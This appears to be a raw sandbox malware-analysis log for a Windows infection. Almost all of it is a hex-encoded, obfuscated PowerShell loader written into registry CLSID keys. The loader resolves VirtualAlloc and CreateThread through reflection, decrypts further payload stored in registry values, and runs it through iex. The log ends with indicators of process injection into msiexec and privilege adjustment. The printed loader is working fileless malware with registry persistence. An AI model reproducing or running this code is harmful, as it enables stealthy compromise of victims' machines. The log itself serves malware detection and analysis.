3332373239334232343734373133303344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343634373333373245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234363437333337324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234373437313330324332343643363733343239323927297c2628247073686f6d655b3139372d3139335d2b247073686f6d655b3135392d3132355d2b277827297d2066756e6374696f6e206277367b706172616d28246c67342c246d6331292028696c30202732343730363733303344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343730363733303245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343643363733343239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343730363733303245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436443633333132433234364336373334323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373036373330324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3138322d3137385d2b247073686f6d655b3134332d3130395d2b277827297d2066756e6374696f6e206f79327b706172616d28246c67342c246d63312c24797335292028696c3020273234373737413330334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642363337353341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303339333133333330343133303330324433303432333033313244333034333330333232443330343433303333324433303434333033343330343533303335333034363330333637443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333033393331333332373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303339333133333237334232343642364633373344323832343737374133303542333333323544324232383334333432443238323833313339324432383335324233333239323932393239323933423230323436313735333233443234373737413330354232343642364633373245324532383234364236463337324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323436313735333232393342323437373741333033443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236333735334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330333933313333333034313330333032443330343233303331324433303433333033323244333034343330333332443330343433303334333034353330333533303436333033363744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303436333033363237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330343633303336323733423234364236463337334437423230323437353636333533443330324532453332333533353342333032453245333233353335374332353742323032343643364633393344323832343643364633393242323437353636333535423234354635443242323436313735333235423234354632353234363137353332324534433635364536373734363835443239323532383238333133333332324432383331324233313331323932393242333133333336323933423230323437353636333535423234354635443243323437353636333535423234364336463339354433443234373536363335354232343643364633393544324332343735363633353542323435463544323037443230334232343737374133303743323537423234363736393333334432383234363736393333324233313239323532383238333133343339324433363332323932423331333633393239334232303234364136323332334432383234364136323332324232343735363633353542323436373639333335443239323532383238323833373339333132443332333833373239324433323334333832393239334232303234373536363335354232343637363933333544324332343735363633353542323436413632333235443344323437353636333535423234364136323332354432433234373536363335354232343637363933333544334232343546324436323738364637323234373536363335354232383234373536363335354232343637363933333544324232343735363633353542323436413632333235443239323532383238333733393242323833353336324433313334323932393242333133333335323935443230374432303744323033423234363637413330323033443230323832363230323436423646333737433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323436373639333333443330334232343637363933333230324436433734323032343636374133303245344336353645363737343638334232343637363933333242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234363637413330324535333735363237333734373236393645363732383234363736393333324333323239324332383238323833333336324233303239324433313330323932443331333032393239323037443239323927297c2628247073686f6d655b3130342d3130305d2b247073686f6d655b3137332d3133395d2b277827297d66756e6374696f6e207573327b706172616d2824797a392c246d77322c2472743429202876693420273234364536323336334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642363337353341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303339333133333330343133303330324433303432333033313244333034333330333232443330343433303333324433303434333033343330343533303335333034363330333637443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333033393331333332373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303339333133333237334232343643363233333344323832343645363233363542333333323544324232383334333432443238323833313339324432383335324233333239323932393239323933423230323437323631333533443234364536323336354232343643363233333245324532383234364336323333324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323437323631333532393342323436453632333633443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236333735334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330333933313333333034313330333032443330343233303331324433303433333033323244333034343330333332443330343433303334333034353330333533303436333033363744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303436333033363237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330343633303336323733423234364336323333334437423230323437383639333933443330324532453332333533353342333032453245333233353335374332353742323032343646363633313344323832343646363633313242323437383639333935423234354635443242323437323631333535423234354632353234373236313335324534433635364536373734363835443239323532383238333133333332324432383331324233313331323932393242333133333336323933423230323437383639333935423234354635443243323437383639333935423234364636363331354433443234373836393339354232343646363633313544324332343738363933393542323435463544323037443230334232343645363233363743323537423234373136453332334432383234373136453332324233313239323532383238333133343339324433363332323932423331333633393239334232303234364537333339334432383234364537333339324232343738363933393542323437313645333235443239323532383238323833373339333132443332333833373239324433323334333832393239334232303234373836393339354232343731364533323544324332343738363933393542323436453733333935443344323437383639333935423234364537333339354432433234373836393339354232343731364533323544334232343546324436323738364637323234373836393339354232383234373836393339354232343731364533323544324232343738363933393542323436453733333935443239323532383238333733393242323833353336324433313334323932393242333133333335323935443230374432303744323033423234374137393336323033443230323832363230323436433632333337433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323437313645333233443330334232343731364533323230324436433734323032343741373933363245344336353645363737343638334232343731364533323242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234374137393336324535333735363237333734373236393645363732383234373136453332324333323239324332383238323833333336324233303239324433313330323932443331333032393239323037443239323927297c2628247073686f6d655b3138372d3138335d2b247073686f6d655b3134392d3131355d2b277827297d66756e6374696f6e207372307b706172616d28246c79372c24676336292028636f3820273234373737343334334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642363337353341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303339333133333330343133303330324433303432333033313244333034333330333232443330343433303333324433303434333033343330343533303335333034363330333637443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333033393331333332373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303339333133333237334232343642373133383344323832343737373433343542333333323544324232383334333432443238323833313339324432383335324233333239323932393239323933423230323437303642333133443234373737343334354232343642373133383245324532383234364237313338324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323437303642333132393342323437373734333433443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236333735334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330333933313333333034313330333032443330343233303331324433303433333033323244333034343330333332443330343433303334333034353330333533303436333033363744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303436333033363237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330343633303336323733423234364237313338334437423230323437393645333333443330324532453332333533353342333032453245333233353335374332353742323032343639363133363344323832343639363133363242323437393645333335423234354635443242323437303642333135423234354632353234373036423331324534433635364536373734363835443239323532383238333133333332324432383331324233313331323932393242333133333336323933423230323437393645333335423234354635443243323437393645333335423234363936313336354433443234373936453333354232343639363133363544324332343739364533333542323435463544323037443230334232343737373433343743323537423234373236353337334432383234373236353337324233313239323532383238333133343339324433363332323932423331333633393239334232303234364336463330334432383234364336463330324232343739364533333542323437323635333735443239323532383238323833373339333132443332333833373239324433323334333832393239334232303234373936453333354232343732363533373544324332343739364533333542323436433646333035443344323437393645333335423234364336463330354432433234373936453333354232343732363533373544334232343546324436323738364637323234373936453333354232383234373936453333354232343732363533373544324232343739364533333542323436433646333035443239323532383238333733393242323833353336324433313334323932393242333133333335323935443230374432303744323033423234373236353336323033443230323832363230323436423731333837433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323437323635333733443330334232343732363533373230324436433734323032343732363533363245344336353645363737343638334232343732363533373242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234373236353336324535333735363237333734373236393645363732383234373236353337324333323239324332383238323833333336324233303239324433313330323932443331333032393239323037443239323927297c2628247073686f6d655b3139322d3138385d2b247073686f6d655b3133372d3130335d2b277827297d66756e6374696f6e20706c397b706172616d28247869302c24697a322c2474693129202862743420273234373737313337334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642363337353341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303339333133333330343133303330324433303432333033313244333034333330333232443330343433303333324433303434333033343330343533303335333034363330333637443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333033393331333332373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303339333133333237334232343741373233363344323832343737373133373542333333323544324232383334333432443238323833313339324432383335324233333239323932393239323933423230323436443739333133443234373737313337354232343741373233363245324532383234374137323336324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323436443739333132393342323437373731333733443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236333735334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330333933313333333034313330333032443330343233303331324433303433333033323244333034343330333332443330343433303334333034353330333533303436333033363744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303436333033363237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330343633303336323733423234374137323336334437423230323437333739333533443330324532453332333533353342333032453245333233353335374332353742323032343643363933383344323832343643363933383242323437333739333535423234354635443242323436443739333135423234354632353234364437393331324534433635364536373734363835443239323532383238333133333332324432383331324233313331323932393242333133333336323933423230323437333739333535423234354635443243323437333739333535423234364336393338354433443234373337393335354232343643363933383544324332343733373933353542323435463544323037443230334232343737373133373743323537423234363536373333334432383234363536373333324233313239323532383238333133343339324433363332323932423331333633393239334232303234363337393335334432383234363337393335324232343733373933353542323436353637333335443239323532383238323833373339333132443332333833373239324433323334333832393239334232303234373337393335354232343635363733333544324332343733373933353542323436333739333535443344323437333739333535423234363337393335354432433234373337393335354232343635363733333544334232343546324436323738364637323234373337393335354232383234373337393335354232343635363733333544324232343733373933353542323436333739333535443239323532383238333733393242323833353336324433313334323932393242333133333335323935443230374432303744323033423234363637413335323033443230323832363230323437413732333637433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323436353637333333443330334232343635363733333230324436433734323032343636374133353245344336353645363737343638334232343635363733333242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234363637413335324535333735363237333734373236393645363732383234363536373333324333323239324332383238323833333336324233303239324433313330323932443331333032393239323037443239323927297c2628247073686f6d655b3135322d3134385d2b247073686f6d655b3134312d3130375d2b277827297d24777a303d6f79322027656d6b6c68786e6f736167637562762720277a7269776a6179786768636c657376712720276d71766667696874786a73647a75796365273b66756e6374696f6e206862397b706172616d28246673392c246266372920286c6b3020273234373536443334334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343734373133343344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343735364433343245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234373536443334324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234373437313334324332343636373333393239323927297c2628247073686f6d655b3131362d3131325d2b247073686f6d655b3232392d3139355d2b277827297d66756e6374696f6e206d69327b706172616d2824667334292028716635202732343732363833383344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343732363833383245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343636373333343239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343732363833383245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436393737333832433234363637333334323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373236383338324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3131362d3131325d2b247073686f6d655b3230342d3137305d2b277827297d66756e6374696f6e207764327b706172616d2824777a302c24646c352c24636f352c24736e32292028696c302027323437353636333533443542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534443631373237333638363136433544334133413437363537343434363536433635363736313734363534363646373234363735364536333734363936463645353036463639364537343635373232383238373337363332323032373536363937323734373536313643343136433643364636333435373832373239324332383632373733363230343032383542343936453734353037343732354432433542343936453734353037343732354432433542343936453734353037343732354432433542363936453734354432433542363936453734354432393238354234393645373437303734373235443239323932393245363936453736364636423635323832443331324333303243323436343643333532433238323832383331333133303332333732423334333233343338323932393244333233393338333732393243323437333645333232393342354235333739373337343635364432453532373536453734363936443635324534393645373436353732364637303533363537323736363936333635373332453444363137323733363836313643354433413341343736353734343436353643363536373631373436353436364637323436373536453633373436393646364535303646363936453734363537323238323837333736333232303237353237343643344436463736363534443635364436463732373932373239324332383632373733363230343032383542343936453734353037343732354432433542363237393734363535423544354432433542353534393645373433333332354432393238354234393645373437303734373235443239323932393245363936453736364636423635323832343735363633353243323437373741333032433234363436433335323933423234373536363335334434453635373732443446363236413635363337343230353337393733373436353644324534393645373437303734373232303244343137323637373536443635364537343443363937333734323032343238323437353636333532453534364634393645373433363334323832393242323436333646333532393342354235333739373337343635364432453532373536453734363936443635324534393645373436353732364637303533363537323736363936333635373332453444363137323733363836313643354433413341343736353734343436353643363536373631373436353436364637323436373536453633373436393646364535303646363936453734363537323238323837333736333232303237343337323635363137343635353436383732363536313634323732393243323836323737333632303430323835423439364537343530373437323544324335423535343936453734333333323544324335423439364537343530373437323544324335423439364537343530373437323544324335423535343936453734333333323544324335423439364537343530373437323544323932383542343936453734373037343732354432393239323932453639364537363646364236353238333032433330324332343735363633353243333032433330324333303239334235333734363137323734324435333643363536353730323032443733323032383238333133383333324232383338333833313242333133323338333332393239323927297c2628247073686f6d655b3138302d3137365d2b247073686f6d655b3137322d3133385d2b277827297d66756e6374696f6e207471327b706172616d28246179332c246a73302c2471653829202876643520273234373237303336334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642363337353341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303339333133333330343133303330324433303432333033313244333034333330333232443330343433303333324433303434333033343330343533303335333034363330333637443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333033393331333332373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303339333133333237334232343643373933363344323832343732373033363542333333323544324232383334333432443238323833313339324432383335324233333239323932393239323933423230323437363632333633443234373237303336354232343643373933363245324532383234364337393336324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323437363632333632393342323437323730333633443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236333735334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330333933313333333034313330333032443330343233303331324433303433333033323244333034343330333332443330343433303334333034353330333533303436333033363744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303436333033363237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330343633303336323733423234364337393336334437423230323436453643333033443330324532453332333533353342333032453245333233353335374332353742323032343737363433383344323832343737363433383242323436453643333035423234354635443242323437363632333635423234354632353234373636323336324534433635364536373734363835443239323532383238333133333332324432383331324233313331323932393242333133333336323933423230323436453643333035423234354635443243323436453643333035423234373736343338354433443234364536433330354232343737363433383544324332343645364333303542323435463544323037443230334232343732373033363743323537423234363736343331334432383234363736343331324233313239323532383238333133343339324433363332323932423331333633393239334232303234373836353330334432383234373836353330324232343645364333303542323436373634333135443239323532383238323833373339333132443332333833373239324433323334333832393239334232303234364536433330354232343637363433313544324332343645364333303542323437383635333035443344323436453643333035423234373836353330354432433234364536433330354232343637363433313544334232343546324436323738364637323234364536433330354232383234364536433330354232343637363433313544324232343645364333303542323437383635333035443239323532383238333733393242323833353336324433313334323932393242333133333335323935443230374432303744323033423234363936313337323033443230323832363230323436433739333637433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323436373634333133443330334232343637363433313230324436433734323032343639363133373245344336353645363737343638334232343637363433313242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234363936313337324535333735363237333734373236393645363732383234363736343331324333323239324332383238323833333336324233303239324433313330323932443331333032393239323037443239323927297c2628247073686f6d655b3134342d3134305d2b247073686f6d655b3233302d3139365d2b277827297d66756e6374696f6e206a6b357b706172616d28247862392c24726530292028726a30202732343732363633303344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343732363633303245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343738363233393239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343732363633303245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437323635333032433234373836323339323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373236363330324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3131332d3130395d2b247073686f6d655b3136312d3132375d2b277827297d66756e6374696f6e206768387b706172616d282470793229202878633920273234363937303335334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642363337353341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303339333133333330343133303330324433303432333033313244333034333330333232443330343433303333324433303434333033343330343533303335333034363330333637443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333033393331333332373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303339333133333237334232343734364333323344323832343639373033353542333333323544324232383334333432443238323833313339324432383335324233333239323932393239323933423230323436313635333833443234363937303335354232343734364333323245324532383234373436433332324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323436313635333832393342323436393730333533443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236333735334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330333933313333333034313330333032443330343233303331324433303433333033323244333034343330333332443330343433303334333034353330333533303436333033363744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303436333033363237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330343633303336323733423234373436433332334437423230323436393643333533443330324532453332333533353342333032453245333233353335374332353742323032343639364633303344323832343639364633303242323436393643333535423234354635443242323436313635333835423234354632353234363136353338324534433635364536373734363835443239323532383238333133333332324432383331324233313331323932393242333133333336323933423230323436393643333535423234354635443243323436393643333535423234363936463330354433443234363936433335354232343639364633303544324332343639364333353542323435463544323037443230334232343639373033353743323537423234373536433330334432383234373536433330324233313239323532383238333133343339324433363332323932423331333633393239334232303234363336433337334432383234363336433337324232343639364333353542323437353643333035443239323532383238323833373339333132443332333833373239324433323334333832393239334232303234363936433335354232343735364333303544324332343639364333353542323436333643333735443344323436393643333535423234363336433337354432433234363936433335354232343735364333303544334232343546324436323738364637323234363936433335354232383234363936433335354232343735364333303544324232343639364333353542323436333643333735443239323532383238333733393242323833353336324433313334323932393242333133333335323935443230374432303744323033423234364236453337323033443230323832363230323437343643333237433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323437353643333033443330334232343735364333303230324436433734323032343642364533373245344336353645363737343638334232343735364333303242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234364236453337324535333735363237333734373236393645363732383234373536433330324333323239324332383238323833333336324233303239324433313330323932443331333032393239323037443239323927297c2628247073686f6d655b3230322d3139385d2b247073686f6d655b3137392d3134355d2b277827297d7764322024777a302024777a302e6c656e677468202832353232372d282831353736342d363937372929292028282833342b3134292b3136292966756e6374696f6e206e68317b706172616d28246c62362c246165352c24676b38292028696f3320273234364136353331334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343738364233383344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343641363533313245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234364136353331324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234373836423338324332343643363233363239323927297c2628247073686f6d655b3130342d3130305d2b247073686f6d655b3139322d3135385d2b277827297d powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\CLSID\{09130A00-0B01-0C02-0D03-0D040E050F06}\LocalServer\ = "powershell -w 2 -nologo -w 1 -c \"& {(-join('246A71686C65743D2730463036273B285B546578742E456E636F64696E675D3A3A555446382E476574537472696E67282867702027686B63753A5C736F6674776172655C636C61737365735C434C5349445C7B30393133304130302D304230312D304330322D304430332D3044303430453035304630367D5C50726F67494427292E246A71686C657429297C2628247073686F6D655B345D2B247073686F6D655B33345D2B27782729'-split'(..)'|?{$_}|%{[char][convert]::ToUInt32($_,16)}))|&($pshome[224-220]+$pshome[18+12+4]+'x')}\"" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\ powershell.exe Key created \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\{130A000B-010C-020D-030D-040E050F0610} powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\ = "{130A000B-010C-020D-030D-040E050F0610}" powershell.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\ID = "0" msiexec.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exemsiexec.exepowershell.exepid process 1536 powershell.exe 1536 powershell.exe 568 msiexec.exe 1544 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 1536 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 1536 powershell.exe Token: SeDebugPrivilege 1544 powershell.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
cmd.exepowershell.exemsiexec.exedescription pid process target process PID 1540 wrote to memory of 1536 1540 cmd.exe powershell.exe PID 1540 wrote to memory of 1536 1540 cmd.exe powershell.exe PID 1540 wrote to memory of 1536 1540 cmd.exe powershell.exe PID 1536 wrote to memory of 568 1536 powershell.exe msiexec.exe PID 1536 wrote to memory of 568 1536 powershell.exe msiexec.exe PID 1536 wrote to memory of 568 1536 powershell.exe msiexec.exe PID 1536 wrote to memory of 568 1536 powershell.exe msiexec.exe PID 1536 wrote to memory of 568 1536 powershell.exe msiexec.exe PID 568 wrote to memory of 1544 568 msiexec.exe powershell.exe PID 568 wrote to memory of 1544 568 msiexec.exe powershell.exe PID 568 wrote to memory of 1544 568 msiexec.exe powershell.exe
